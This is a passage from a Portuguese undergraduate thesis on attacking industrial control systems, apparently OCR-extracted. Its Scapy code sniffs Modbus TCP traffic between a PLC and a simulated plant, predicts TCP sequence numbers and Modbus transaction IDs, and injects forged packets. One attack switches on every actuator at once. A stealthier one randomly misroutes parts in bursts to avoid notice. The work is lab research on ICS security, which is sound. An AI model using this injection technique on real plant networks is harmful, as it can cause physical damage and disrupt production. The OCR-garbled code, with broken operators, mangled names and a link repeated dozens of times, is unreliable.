de coils (varidveis booleanas) e que é enviado diretamente para a planta.

Portanto, tornou-se necessario capturar dois pacotes consecutivos do tipo QWMC,
de forma a possibilitar o calculo dos campos do préximo pacote, sua construcao e
posterior envio antes do pacote real transmitido pelo CLP.

O loop apresentado a seguir no trecho de Codigo 3.5 mostra a forma como essa
captura foi realizada para os dois casos de ataque:

...
2 # INTERCEPTACAO DOS PACOTES DE INTERESSE

3 # Intercepta pacotes Write Multiple Coils enviados ao PLC

4 flag =1

5 print (" DETECTANDO LOOP DE QUERRYS ENVIADOS
AO PLC")

6 contador = 0

8 while flag:
9 PACOTES_INTERCEPTADOS = sniff (
10 iface=iface_ ,

11 count=tamanho_do_loop + 1,

12 Ifilter=lambda x: x.haslayer(Raw) and x.haslayer (IP) and x[IP
].dst = ip_factorylO

13 )

14

15 QUERRY_WRITE COIL_a = PACOTES_INTERCEPTADOS|[O0]

16 QUERRY_WRITE COIL_b = PACOTES_ INTERCEPTADOS|[tamanho_do_ loop ]

17 contador += 1

19 try:

20 # Verifica se os pacotes capturados sao do tipo Write
Multiple Coils

21 if b’\x0f\x00\x00’ in QUERRY WRITE COIL a[Raw].load and b’\
x0f\x00\x00’ in QUERRY_WRITE_COIL b[Raw].load:

22 print (" LOOP DE QUERRY WMC

DETECTADO" )
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flag = 0
if contador > 500:
print ("Nao foi possivel detectar o loop de querrys Write
Multiple Coils. Tentando novamente...")
time . sleep (1.5)
contador = 0
except:
flag = 1

Codigo 3.5 — Captura de pacotes QWMC

O trecho de codigo funciona de forma simples. Utilizando novamente a fungao
sniff, sao capturados pacotes em uma quantidade equivalente ao tamanho do
loop de comunicagao acrescido de uma unidade, aplicando-se um filtro para que
apenas pacotes cujo endereco IP de destino seja o do computador com o Factory
I/0 sejam capturados, ou seja, apenas pacotes do tipo Query. Assim, se o loop de
comunicagao possui quatro canais, serdo capturados cinco pacotes do tipo Query,
sendo que o quinto pacote ja corresponde ao inicio do segundo loop. Dessa forma,
o primeiro e o quinto pacotes capturados pertencem ao mesmo canal, por exemplo,
dois pacotes do tipo QWMC.

Apés a captura, o primeiro pacote é atribuido a uma variavel e o quinto pacote
a outra varidvel, e entdo é realizada uma verificacdo. Caso ambos os pacotes
possuam, em sua camada de aplicacao Raw, a sequéncia apresentada no codigo,
correspondente ao Function Code 0xOF (15), referente a funcao Write Multiple
Coils, seguida do campo Reference Number com valor 0x0000, conclui-se que os
pacotes analisados sao dois pacotes QWMC e, portanto, podem ser utilizados para
a construcao de um novo pacote de ataque. Caso contrario, o loop continua até
que seja capturada uma sequéncia que se inicie e termine com pacotes do tipo
QWMC.

De fato, essa nao é a melhor abordagem para esse caso, uma vez que seria mais
eficiente filtrar diretamente apenas pacotes do tipo desejado, ao invés de capturar
pacotes de todos os canais do loop de comunicagao enviados ao Factory 1/0. Por
esse motivo, nos ataques de injecao de respostas e medigoes, a estratégia de captura

de pacotes foi modificada.
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3.4.2.2 Construcao das camadas mais baixas

O Codigo 3.6 apresenta a construcao das camadas mais baixas do pacote de
ataque, especificamente as camadas Ethernet, IP e TCP.
1 ...
2 # CALCULO DOS CAMPOS TCP PARA O PACOTE DE
ATAQUE

3 # Calcula os valores de sequencia e reconhecimento para os pacotes de

ataque
4 TAMANHO_SEQ = QUERRY_WRITE_COIL_b. seq — QUERRY_WRITE_COIL_a. seq
5 TAMANHO ACK = QUERRY WRITE COIL b.ack — QUERRY WRITE COIL a.ack

7 SEQ ATAQUE = (QUERRY WRITE COIL b.seq + TAMANHO SEQ)
8 ACK_ATAQUE = (QUERRY_WRITE COIL_b. ack + TAMANHO_ACK)

10 # Vetor com valores sniffados do ultimo querry

11 DADOS_LAYER TPC = {

12 "sre’: QUERRY_WRITE COIL b[IP]. src,

13 "dst ’: QUERRY_WRITE_COIL _b[IP]. dst,

14 "sport ’: QUERRY_WRITE COIL_b[TCP]. sport ,
15 "dport ’: QUERRY_WRITE COIL_b[TCP]. dport ,
16 'wnd’: QUERRY_ WRITE COIL b[TCP]. window ,
17 }

18

19 # Monta a camada IP/TCP do primeiro pacote de ataque
20 CAMADA_TCP_IP_PRIMEIRO_ATAQUE = IP (src=DADOS LAYER TPC[’src’], dst=
DADOS TAYER TPC[ ’dst '])/ TCP(

21 dport=DADOS LAYER TPC[’'dport’],

22 sport=DADOS TLAYER TPC[ ’'sport’], seq=SEQ ATAQUE, ack=ACK ATAQUE,
window=DADOS_TLAYER, TPC[ 'wnd’],

23 flags="PA"

24 )

25

26 # Camada Ethernet

27 CAMADA_ETHERNET = Ether (src=MAC_CLP, dst=MAC_ factoryIO, type=0x0800)
28 ...

Cédigo 3.6 — Captura de pacotes QWMC

Inicialmente, sdo calculados os campos de sequéncia (Sequence Number) e reco-
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nhecimento (Acknowledgment Number) do protocolo TCP, que sdo fundamentais
para garantir que o pacote forjado seja aceito pelo destinatario como parte valida
da comunicagdo em andamento. Para isso, é calculada a diferenca entre os valores
de seq e ack dos dois pacotes consecutivos do tipo Query Write Multiple Coils,
capturados previamente. Essas diferencas representam o incremento natural des-
ses campos ao longo do loop de comunica¢ao, uma vez que, em uma comunicagao
TCP estavel e ciclica, o tamanho dos dados transmitidos entre pacotes consecu-
tivos é constante, resultando em incrementos fixos nos niimeros de sequéncia e
reconhecimento.

A partir desses incrementos, os valores de seq e ack do pacote de ataque sao
calculados somando-se os respectivos tamanhos ao tltimo pacote legitimo captu-
rado. Dessa forma, o pacote forjado mantém a coeréncia com o estado da conexao
TCP entre o CLP e a planta, evitando que seja descartado por inconsisténcia na
numeracao de sequéncia. Em seguida, sao reutilizados os parametros da tultima
mensagem capturada, como enderegos IP de origem e destino, portas TCP, ta-
manho da janela (window) e enderegos MAC, garantindo que o pacote de ataque
possua exatamente o mesmo enquadramento de rede da comunicagao original. Por
fim, as camadas IP, TCP e Ethernet sdo montadas explicitamente utilizando a flag
TCP PSH+ACK (PA), garantindo que o pacote forjado seja reconhecido como parte
valida da conexao TCP em andamento e que seu payload Modbus seja imediata-
mente encaminhado a camada de aplicacgao.

Com as camadas de rede mais baixas estabelecidas, o proximo passo é constuir
a camada de aplicacio Modbus TCP, ou ADU. A camada é composta por um
cabecalho que contém as caracteriscas da mensagem e um campo PDU, que contem
o Function code, ou seja, o tipo de mensagem Modbus TCP e o campo Data, que
é de fato a parte da mensagem que contem os bytes de dados de processo a serem
trasnmitidos. Essa estrutura foi apresentada previamente na Figura 13 e na Tabela

4.

3.4.2.3 Ataque continuo e perceptivel

O primeiro tipo de ataque de injecao de comando ensaiado foi um ataque do tipo

Man-in-the-Middle, ou seja, um ataque no qual o atacante envia dados forjados
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diretamente a planta, sobrepondo a comunicagao legitima entre o CLP e a planta

e inserindo pacotes falsificados diretamente na rede.

3.4.2.3.1 Construcao do ADU

O Cédigo 3.7 apresenta como é realizada a construcao dos campos da camada

de aplicagdo ADU, abrangendo tanto o cabecalho MBAP quanto a camada PDU.

2 # CONSTRUCAO DAS LAYERS MODBUSTCP E MODBUS

3 print (" CONSTRUINDO LAYERS MODBUS")

5 # Extrai e calcula os campos Modbus para o ataque
i Trans_ID = ((QUERRY_WRITE COIL_b[Raw].load [0] << 8) +
QUERRY_WRITE COIL_b[Raw].load [1]) + tamanho_do_loop

7 Unit_ID = QUERRY_ WRITE COIL b[Raw].load [6]

& WMC_FUNCTION = QUERRY_WRITE_COIL_b[Raw ] . load [7]

9 Bit_Count = ((QUERRY_WRITE_COIL_b[Raw].load [10] << 8) +
QUERRY WRITE COIL b[Raw].load[11])

10 Byte_ Count = QUERRY_WRITE COIL b[Raw].load [12]

11 Length = (QUERRY_WRITE COIL_b[Raw].load [4] << 8) +
QUERRY_WRITE_COIL_b[Raw] . load [5]

12 Data = 65535 # Valor fixo para os dados do ataque (1111111111111111)

(todos os coils ligados)

for)

14 # Define as classes ModbusTCP e Modbus para montar os pacotes
15 class ModbusTCP (Packet ) :
16 name = "MBPA"

17 fields_desc = [ ShortField (" Transaction_Identifier", Trans_ID),
18 ShortField ("Protocol Identifier", 0),

19 ShortField ("Length", Length),

20 ByteField ("Unit_ Identifier", Unit_ID)

21 ]

22

23

24 class Modbus(Packet):

25 name = "PDU"

26 fields__desc = [ XByteField("Function Code", WMC FUNCTION) ,
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ShortField ("Reference Number", 0),
ShortField ("Bit_Count", Bit_Count),
ByteField ("Byte_Count"', Byte_Count),
ShortField ("Data", Data)

]

Cédigo 3.7 — Construcao da camada de Aplicacaéo Modbus TCP

A construgao do campo ADU é feita inteiramente com base nos pacotes previa-
mente capturados. Como cada byte possui um significado especifico, a captura de
um pacote legitimo permite utilizar seus dados como referéncia para a forja de um
novo pacote futuro. Dois campos, em especial, requerem maior atencao: o campo
Trans_ID e o campo Data. O Transaction Identifier ¢ um campo de extrema
importancia na comunicagdo Modbus TCP, pois é iniciado no estabelecimento da
comunicagdo e incrementado a cada nova troca de mensagens. Dessa forma, é
imprescindivel calcular corretamente o valor futuro do Trans_ID correspondente
ao pacote de ataque, caso contrario o pacote sera descartado pelo dispositivo por
nao respeitar a ordem esperada da comunicacao.

O campo Data, por sua vez, é responsavel por transportar os dados de atuagao
da planta e representa o contetido efetivo do ataque. No contexto deste primeiro
ataque, o objetivo foi a realizagdo de um ataque continuo e deliberadamente percep-
tivel. Para isso, o campo Data foi configurado com o valor 65535, correspondente
a um campo de 16 bits com todos os bits em nivel logico alto. Como consequéncia,
todos os atuadores da planta sao acionados simultaneamente e de forma continua,
durante uma quantidade de ciclos definida pelo atacante. Esse ataque foi clas-
sificado como perceptivel, pois sua execucao torna evidente a ocorréncia de uma
anomalia no sistema, uma vez que esteiras, bragos de direcionamento e dispositivos
de bloqueio passam a operar simultaneamente. Ressalta-se que, em um cenario
real, a execucao de um ataque direcionado exige conhecimento prévio da planta e
da rede industrial, obtido por meio de multiplas capturas de trafego, até que se
compreenda, por exemplo, que o campo Data dessa comunicacao especifica possui

tamanho de 2 bytes.
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3.4.2.3.2 Loop de envio do ataque

Para finalizar a estruturagao do ataque, o Cédigo 3.8 apresenta o loop respon-
savel pelo envio continuo dos pacotes de ataque na rede. Esse loop é controlado
por uma variavel auxiliar, sendo encerrado quando o nimero de iteragoes atinge o

valor definido em loops_de_ataque, previamente estabelecido pelo atacante.

# ENVIO DOS PACOTES DE ATAQUE EM LOOP

print (" CONCATENADO LAYERS E CONSTRUINDO
PACOTE COMPLETO")

auxl = 0

trans id_ atual = Trans_ ID

while auxl < loops_de_ataque:

if auxl = 0:
# Usa o que ja foi construido fora do loop
camada__ethernet = CAMADA ETHERNET
camada_ tcp_ip = CAMADA TCP_IP PRIMEIRO ATAQUE
camada_ modbus_tcp = ModbusTCP ()
camada_ modbus = Modbus ()

else:
# Recalcula valores para os proximos pacotes
seq_atual = SHQ ATAQUE + (TAMANHO SEQ # auxl)
ack atual = ACK ATAQUE + (TAMANHO ACK # auxl)

trans_id_atual = Trans_ ID + (tamanho_ do_loop x auxl)

camada_ tcp_ip = IP(src=DADOS _LAYER TPC[ ’src’], dst=
DADOS_LAYER,_TPC[ ’dst ']) / \
TCP(dport=DADOS TLAYER TPC[ 'dport’], sport=DADOS LAYER TPC
[*sport ],
seq=seq_atual , ack=ack_atual, window=DADOS LAYER TPC]|
'wnd '], flags="PA")

camada_ modbus_tecp = ModbusTCP ( Transaction_ Identifier=
trans_id_atual)
camada_ modbus = Modbus ()
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28 # Monta o pacote completo (IP/TCP/ModbusTCP/Modbus)
29 PACOTE_COMPLETO = camada_ ethernet / camada_tep_ip /

camada_ modbus_tep / camada_modbus

31 # Define o momento certo para enviar o pacote (apos ler o ultimo

response antes de finalizar o loop)

32 def parar_ sniff envio_ pacote(pkt):

33 Tran_ID_ Anterior_ Envio = (pkt[Raw].load [0] << 8) + pkt[Raw].
load [1]

34 if Tran ID Anterior Envio =— trans id_ atual — 1:

35 return True

36 return False

37

38 sniff (

39 iface=iface__,

40 Ifilter=lambda x: x.haslayer (Raw) and x.haslayer (IP) and x[IP
].srec = ip_factorylO

41 stop_ filter=parar_sniff envio_pacote

42 )

43

44 if auxl = 0:

45 print (" MOMENTO CERTO DETECTADO,
PACOTES SENDO ENVIADOS")

46

47

48 # Envia o pacote de ataque

49 sendp (PACOTE_COMPLETO, iface=iface_, verbose=0)

50

51 sys.stdout.write(".")

52 sys.stdout. flush ()

53 auxl 4= 1

54

55 print ("\n ATAQUE FINALIADO")

Cédigo 3.8 — Loop de envio de ataques a rede

Inicialmente, no primeiro ciclo do loop (auxl == 0), é utilizado o pacote de
ataque previamente construido com base nos ultimos pacotes capturados da co-

municagao legitima. A partir da segunda iteracao, torna-se necessario recalcular
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e reconstruir dinamicamente os campos criticos do pacote, especificamente os va-
lores de Seq, Ack e Transaction ID. Esse recalculo é feito com base no tamanho
dos incrementos observados nos pacotes reais, garantindo que os pacotes forjados
permanecam coerentes com o estado atual da comunicagao TCP e da sessao Mod-
bus TCP. Caso esses valores nao sejam corretamente atualizados, os pacotes de
ataque seriam rejeitados pelos dispositivos da rede por estarem fora de sequéncia.

A concatenacao das camadas Ethernet, IP, TCP, Modbus TCP e Modbus é
realizada a cada iteracao para formar o pacote completo de ataque, que é entao
enviado utilizando a funcdo sendp. Essa fun¢do atua diretamente na camada de
acesso a rede, permitindo um envio mais rapido do pacote, uma vez que nao ha
necessidade de reconstrucao automatica das camadas inferiores no momento do
envio.

Além disso, o ataque depende de um momento exato para que o pacote seja
inserido corretamente no fluxo de comunicacao. Para isso, ¢ implementado um
filtro de parada baseado na captura de pacotes de resposta Modbus. O envio do
pacote de ataque ocorre apenas quando ¢ detectado um pacote cujo Transaction
ID corresponde ao valor imediatamente anterior ao Transaction ID calculado
para o ataque. Dessa forma, garante-se que o pacote forjado seja transmitido
exatamente na posicao esperada dentro da sequéncia de mensagens, evitando sua
rejeicao por inconsisténcia temporal ou légica.

A Figura 54 apresenta um trecho da comunicagao entre o CLP e o Factory 10,
evidenciando os pacotes utilizados como referéncia para a construcao do ataque e
o instante em que o pacote malicioso ¢ inserido na rede. Neste cenario, os pacotes
das linhas 31 e 39 sao utilizados para a construcao do primeiro pacote de ataque,
enquanto o pacote de ataque efetivamente enviado corresponde a linha 47.

Apébs a captura do pacote da linha 39, o cdédigo deve executar de forma sufici-
entemente rapida para que o pacote de ataque seja construido antes do inicio do
proximo canal de comunicacao, representado pela linha 45, o qual sera utilizado
como gatilho para o envio do ataque mostrado na linha 47. Dessa forma, a cons-
trucao do pacote de ataque precisa ocorrer no intervalo entre os pacotes das linhas
40 e 44, destacado em azul, que corresponde a aproximadamente 62 ms.

O envio do pacote de ataque é condicionado a deteccdo do pacote da linha 46,

que corresponde a uma mensagem de response com Transaction ID imediatamente
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Figura 54 — Trecho de comunicacao entre CLP e Factory 10

32 @.37301@ 192.168.8.169 192.168.8.69 Modbus... 66 Response: Trans: 17873; Unit: 1, Func: 15: Write Multiple Coils
33 0.397848 192.168.8.69 192.168.8.169 Modbus... 66 Query: Trans: 17874; Unit: 1, Func: 4: Read Input Registers
34 8.397372 192.1658.8.169 192.168.8.69 Modbus... 65 Response: Trans: 17674; Unit: 1, Func: 4: Read Input Registers
35 8.436636 192.168.8.69 192.168.0.169 Modbus.. 73 Query: Trans: 17875; Unit: 1, Func: 16: Write Multiple Registers
36 ©.437484 192.1653.9.169 192.168.0.69 Modbus.. 66 Response: Trans: 17875; Unit: 1, Func: 16: Write Multiple Registers
37 8.457586 192.168.8.69 192.168.0.169 Modbus.. 66 Query: Trans: 17876; Unit: 1, Func: 2: Read Discrete Inputs

38 @.458131 192.168.8.169 192.168.08.69 Modbus... 64 Response: Trans: 17876; Unit: 1, Func: 2: Read Discrete Inputs

.168.9.169 .168.0.69 66 Response: : Write Multiple Coils
192.168.8.69 192.168.8.169 Modbus... (15 Query: Trans: 17878; Unit: 1, Func: 4: Read Input Registers
192.1658.8.169 192.168.8.69 Modbus.. 65 Response: Trans: 17878; Unit: 1, Func: 4: Read Input Registers
192.168.8.69 192.168.0.169 Modbus.. 73 Query: Trans: 17879; 1, Func: 16: Write Multiple Registers
.168.8.169 192.168.0.69 Modbus.. 66 Response: Trans: : Write Multiple Registers
—— —

192.168.8.69 192.168.8.169 Modbus... 66 Query: Trans: 1, Func: 2: Read Discrete Inputs

.168.8.169 .168.0.69 64 Response: 2 : : Read Discrete Inputs

43 8.577432 192.168.9.169 192.168.8.69 Modbus... 66 Response: Trans: 17@881; Unit: 1. Func: 15: Write Multiple Coils

Fonte: Autor

anterior ao valor calculado para o ataque. Como o filtro de captura monitora
apenas pacotes do tipo response, o envio do pacote de ataque é disparado assim
que esse pacote é identificado, garantindo o correto posicionamento do pacote
forjado na sequéncia da comunicacao. Portanto, o pacote de ataque se sobrepoe
ao pacote legitimo, sendo enviado antes que o real seja enviado.

Outro aspecto relevante observado é a diferenca temporal entre mensagens de
query e response de um mesmo canal Modbus e o intervalo entre canais consecu-
tivos. No exemplo apresentado, o intervalo entre a query da linha 45 e a response
da linha 46 é da ordem de 1 ms, enquanto o intervalo entre a response da linha 46
e o pacote de ataque da linha 47 é de aproximadamente 18 ms. Assim, a funcao
sendp dispoe de menos de 18 ms para transmitir o pacote de ataque de forma que
ele chegue ao destino antes do pacote legitimo. Por esse motivo, optou-se pela uti-
lizagdo da funcao sendp em vez da fungdo send, uma vez que a primeira apresenta
menor laténcia, pois nao realiza o calculo dos campos da camada de acesso a rede
durante o envio, os quais ja foram previamente construidos.

O cédigo completo deste ataque esté disponivel no repositério GitHub do tra-
balho [26]. ©
3.4.2.4 Ataque aleatdrio e discreto

O segundo tipo de ataque de injecdo de comando ensaiado também consiste

em um ataque do tipo Man-in-the-Middle. Entretanto, diferentemente do caso

10" Disponivel em: <https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso-RafaelAlvarez/
tree/main/Ataques-De-Injecao-De-Comando>


https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso-RafaelAlvarez/tree/main/Ataques-De-Injecao-De-Comando
https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso-RafaelAlvarez/tree/main/Ataques-De-Injecao-De-Comando
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anterior, o objetivo foi simular um cenario mais realista, no qual o ataque se
mantém imperceptivel em um primeiro momento, mas ainda assim ¢ capaz de
causar impactos significativos no processo ao longo do tempo. Para isso, assume-
se que o atacante possua conhecimento prévio da planta industrial e de sua logica
de funcionamento.

Nesse cenario, o objetivo do ataque foi provocar a separacdo incorreta das
pecas, direcionando-as para rampas destinadas a cores diferentes das corretas. O
ataque foi projetado para ocorrer apenas em determinados intervalos de tempo,
interrompendo-se periodicamente e permitindo o funcionamento normal da planta.
Dessa forma, apenas algumas pecas sao separadas de maneira incorreta em cada
ocorréncia, porém, ao longo de um periodo prolongado, o impacto acumulado do

ataque torna-se significativo.

3.4.2.4.1 Construcao do ADU

A construgao do ADU se mantém a mesma apresentada no Cédigo 3.7, utilizado
no ataque anterior, com excecao do campo Data. A ideia deste ataque é gerar
trés tipos diferentes de envio de dados: o primeiro liga as esteiras, liga o braco
da pecga azul e desliga o stopblade e os demais bracos; o segundo e o terceiro
seguem a mesma légica, porém ligando apenas o brago verde e o braco cinza,
respectivamente. Dessa forma, quando um dos trés ataques é enviado, ele sobrepoe
os dados reais enviados pelo CLP e, mesmo que uma pega cinza esteja na esteira
de separagao, caso o codigo enviado seja referente ao braco azul, a pega cinza serd
direcionada para a rampa das pegas azuis. Portanto, o campo Data deve assumir

trés valores diferentes, representando cada um desses estados da planta.

Data = 25348 # Valor fixo para os dados do ataque (110110000010) (
Esteiras on, stopblad off, braco 1 ON)

Codigo 3.9 — Valor da variavel data

Neste caso, o campo Data ¢ inicialmente configurado com o valor 25348, que
representa o braco responsavel pelas pecas azuis ligado. Esse valor poderia ser

inicializado com qualquer um dos trés valores possiveis, uma vez que ele representa



2
o

4

5
6
7
8

9
10

Capitulo 3. Desenvolvimento 106

apenas o valor do primeiro pacote de ataque. A reatribuicao efetiva do campo Data

ocorre posteriormente dentro do loop de envio do ataque.

3.4.2.4.2 Loop de envio do ataque

O loop de envio do ataque também se mantém essencialmente o mesmo utili-
zado no ataque anterior, apresentado no Cdédigo 3.8, porém com uma modificagao
especifica para permitir a atribuicao de diferentes valores ao campo Data ao longo

do tempo. O Cédigo 3.10 apresenta essas alteracoes.

trans id atual = Trans_ ID
contador = 1 #(vao ser 5 segundos de ataque a cada 15 segundos —

contador 1 = 0,1s)
attack values = [6916, 25348, 33541]

while auxl < loops_de ataque:
if auxl = 0:
# Usa o que ja foi construido fora do loop
camada_ethernet = CAMADA ETHERNET
camada_ tcp_ip = CAMADA TCP_IP PRIMEIRO ATAQUE
camada_modbus_tcp = ModbusTCP ()
camada_ modbus = Modbus ()

else:

if contador <= 50:

contador += 1
elif contador > 50 and contador <= 200:

Data = 0

contador += 1
elif contador > 200:

contador = 0

Data = random. choice (attack_values)
# Recalcula valores para os proximos pacotes
seq_atual = SHQ ATAQUE + (TAMANHO SEQ # auxl)
ack atual = ACK ATAQUE + (TAMANHO ACK # auxl)

trans_id_atual = Trans_ID + (tamanho_ do_loop x auxl)
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camada_ tcp_ip = IP(src=DADOS LAYER TPC[’'src’], dst=
DADOS _LAYER TPC[’dst’]) / \
TCP(dport=DADOS TLAYER TPC[ ’'dport '], sport=DADOS LAYER_ TPC
[ "sport ],
seq=seq_ atual , ack=ack_ atual, window=DADOS LAYER TPC|
'wnd’], flags="PA")

camada_modbus_tcp = ModbusTCP( Transaction Identifier=
trans_id_atual)
camada_ modbus = Modbus (Data=Data)

if Data != 0:
# Envia o pacote de ataque
sendp (PACOTE_COMPLETO, iface=iface_, verbose=0)

Cédigo 3.10 — Loop de envio de ataque

A principal diferenca deste codigo estd na atribuicao dindmica de valores a va-
ridvel Data a cada ciclo de envio dos pacotes. O array attack_values corresponde
a um vetor contendo os trés valores de dados definidos anteriormente, sendo que
cada valor representa a ativagdo de um brago especifico do sistema de separagao.
O cédigo opera em ciclos de 200 pacotes do tipo Querry Write Multiple Coil. Nos
primeiros 50 pacotes, o ataque é efetivamente enviado utilizando um dos valores de
ataque. Nos 150 pacotes seguintes, o campo Data recebe o valor zero e, devido a
condigao existente antes da fun¢do sendp, nenhum pacote de ataque é transmitido.
Apoés esse intervalo, um novo valor é escolhido de forma pseudoaleatéria dentre os
trés valores de ataque, légica presente na linha 23, reiniciando o ciclo.

Dessa forma, o ataque envia pacotes maliciosos durante 50 pacotes a cada 150
pacotes legitimos, o que confere uma caracteristica mais discreta ao ataque. Em um
cenario real, caso nao haja um operador monitorando continuamente o processo,
diversas pegas podem ser desviadas de forma incorreta sem que o comportamento
anomalo seja imediatamente percebido.

O codigo completo deste ataque esté disponivel no repositério GitHub do tra-
balho [26]. ™

11 Disponfvel em: <https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso-RafaelAlvarez/


https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso-RafaelAlvarez/tree/main/Ataques-De-Injecao-De-Comando
https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso-RafaelAlvarez/tree/main/Ataques-De-Injecao-De-Comando
https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso-RafaelAlvarez/tree/main/Ataques-De-Injecao-De-Comando
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3.4.3 Ataques de injecao de respostas e medigoes

Os ataques de injecdo de respostas e medigoes, ja descritos na Segao 2.3.1,
consistem na interceptacao ou adulteragao de dados provenientes de sensores ou
de feedbacks de atuadores. Dessa forma, o CLP passa a reagir a informagoes
falsas, fazendo com que o processo se comporte de maneira diferente do esperado.
A planta utilizada para o estudo desse tipo de ataque foi a planta de controle de
nivel, apresentada na Secao 3.2.2. Para este caso, também foram desenvolvidos
dois codigos de ataque distintos: um simulando a injecao de dados forjados e outro
repetindo medigoes anteriores por um intervalo de tempo definido, caracterizando

um ataque do tipo Replay.

3.4.3.1 Interceptacao dos pacotes de interesse

Assim como nos ataques de injecao de comandos, em que foi necessario cap-
turar dois pacotes consecutivos do mesmo tipo para a construcao dos pacotes de
ataque, neste caso o mesmo procedimento também se faz necessario. Porém, dife-
rentemente do caso anterior, o ataque nao é direcionado a planta, mas sim ao CLP.
Dessa forma, o pacote de ataque deve ser do tipo Response. Para isso, foram cap-
turados pacotes do tipo Response Read Input Registers (RRIR), que correspondem
as respostas aos pacotes do tipo Query Read Input Registers, responsaveis por re-
quisitar a leitura de valores analdgicos. Esses valores sao do tipo WORD, possuem
2 bytes de tamanho e representam medigoes provenientes de sensores analdgicos.

Sendo assim, a captura é realizada especificamente para pacotes do tipo RRIR,
de modo que seja possivel calcular o préximo pacote Response a ser enviado ao
CLP. O Cédigo 3.11 apresenta como a captura de pacotes para aquisicao dos
enderegos de IP e MAC foi realizada e como essa abordagem foi aprimorada em

relagao ao método utilizado nos ataques anteriores.

print (" DETECTANDO LOOP DE QUERRYS ENVIADOS
AO PLC")

flag = 1

tree/main/Ataques-De-Injecao-De-Comando>


https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso-RafaelAlvarez/tree/main/Ataques-De-Injecao-De-Comando
https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso-RafaelAlvarez/tree/main/Ataques-De-Injecao-De-Comando
https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso-RafaelAlvarez/tree/main/Ataques-De-Injecao-De-Comando
https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso-RafaelAlvarez/tree/main/Ataques-De-Injecao-De-Comando
https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso-RafaelAlvarez/tree/main/Ataques-De-Injecao-De-Comando
https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso-RafaelAlvarez/tree/main/Ataques-De-Injecao-De-Comando
https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso-RafaelAlvarez/tree/main/Ataques-De-Injecao-De-Comando
https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso-RafaelAlvarez/tree/main/Ataques-De-Injecao-De-Comando
https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso-RafaelAlvarez/tree/main/Ataques-De-Injecao-De-Comando
https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso-RafaelAlvarez/tree/main/Ataques-De-Injecao-De-Comando
https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso-RafaelAlvarez/tree/main/Ataques-De-Injecao-De-Comando
https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso-RafaelAlvarez/tree/main/Ataques-De-Injecao-De-Comando
https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso-RafaelAlvarez/tree/main/Ataques-De-Injecao-De-Comando
https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso-RafaelAlvarez/tree/main/Ataques-De-Injecao-De-Comando
https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso-RafaelAlvarez/tree/main/Ataques-De-Injecao-De-Comando
https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso-RafaelAlvarez/tree/main/Ataques-De-Injecao-De-Comando
https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso-RafaelAlvarez/tree/main/Ataques-De-Injecao-De-Comando
https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso-RafaelAlvarez/tree/main/Ataques-De-Injecao-De-Comando
https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso-RafaelAlvarez/tree/main/Ataques-De-Injecao-De-Comando
https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso-RafaelAlvarez/tree/main/Ataques-De-Injecao-De-Comando
https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso-RafaelAlvarez/tree/main/Ataques-De-Injecao-De-Comando
https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso-RafaelAlvarez/tree/main/Ataques-De-Injecao-De-Comando
https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso-RafaelAlvarez/tree/main/Ataques-De-Injecao-De-Comando
https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso-RafaelAlvarez/tree/main/Ataques-De-Injecao-De-Comando
https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso-RafaelAlvarez/tree/main/Ataques-De-Injecao-De-Comando
https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso-RafaelAlvarez/tree/main/Ataques-De-Injecao-De-Comando
https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso-RafaelAlvarez/tree/main/Ataques-De-Injecao-De-Comando
https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso-RafaelAlvarez/tree/main/Ataques-De-Injecao-De-Comando
https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso-RafaelAlvarez/tree/main/Ataques-De-Injecao-De-Comando
https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso-RafaelAlvarez/tree/main/Ataques-De-Injecao-De-Comando
https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso-RafaelAlvarez/tree/main/Ataques-De-Injecao-De-Comando
https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso-RafaelAlvarez/tree/main/Ataques-De-Injecao-De-Comando
https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso-RafaelAlvarez/tree/main/Ataques-De-Injecao-De-Comando
https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso-RafaelAlvarez/tree/main/Ataques-De-Injecao-De-Comando
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contador = 0
while flag:

PACOTES_INTERCEPTADOS = sniff (iface=iface_ |,

count= 2 |

Ifilter= lambda x: x.haslayer (Raw) and x.haslayer (IP) and x|
IP].dst = ip_ CLP and x[Raw].load[7]==4)

